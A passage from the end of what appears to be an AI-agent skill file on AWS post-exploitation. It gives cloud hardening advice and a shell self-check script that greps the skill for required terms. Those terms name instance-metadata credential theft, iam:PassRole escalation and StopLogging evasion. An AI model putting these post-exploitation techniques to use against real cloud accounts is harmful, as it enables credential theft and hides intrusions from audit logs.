  8. Store secrets in a managed secret store with rotation, and never in environment variables, user data, or container images - it reduces both the discovery surface and the lifetime.
  9. Apply least privilege to the roles that deploy workloads - a CI role with attach-policy rights is an administrator in disguise.
  10. Review cross-account trust policies and external IDs regularly, and remove unused trusts - trust relationships are the quiet path between accounts.
  11. Run an inventory of unused permissions from the provider's own access analyser, and revoke them - the permissions nobody uses are the ones an attacker finds useful.

11. RELATED SIBLINGS - LOAD TOGETHER


SELF-VERIFY — aws-postexploit

wc -c SKILL.md                                   # expect 28000-36000
grep -c '^## ' SKILL.md                          # expect 7 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'get-caller-identity' '169.254.169.254' 'X-aws-ec2-metadata-token' \
         'simulate-principal-policy' 'PermissionsBoundary' 'SERVICE_CONTROL_POLICY' \
         'http-tokens required' 'iam:PassRole' 'ExternalId' 'Object Lock' 'StopLogging' \
         'federation_token' 'T1078.004' 'T1552.005'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done